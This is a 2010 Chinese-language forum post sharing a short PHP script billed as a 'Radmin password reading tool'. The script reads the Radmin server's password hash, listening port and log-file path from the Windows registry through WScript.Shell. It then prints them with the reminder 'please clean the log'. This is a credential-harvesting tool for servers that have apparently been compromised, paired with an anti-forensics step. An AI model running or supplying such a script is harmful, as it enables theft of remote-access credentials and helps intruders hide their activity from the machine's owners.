zz7061098 发表于 2010-1-18 17:52:48

Radmin密码读取工具

应小猪大锅的要求写的一个脚本。很垃圾但是还算有用吧。

<?php
$shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host");
$rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\";
$Parameter = "Parameter";
$Port = "Port";
$logpath = "LogFilePath";
$myparam = $shell->RegRead($rootkey.$Parameter);
$myport = $shell->RegRead($rootkey.$Port);
$path = $shell->RegRead($rootkey.$logpath);
echo "radmin hash is:";
foreach($myparam as $a){
echo dechex($a);
}
echo "<br>";
echo "radmin port is :".hexdec(dechex($myport).dechex($myport))."<br>";
echo "radmin log path is:$path<br>";
echo "please clean the log"
?>
页: [1]
查看完整版本: Radmin密码读取工具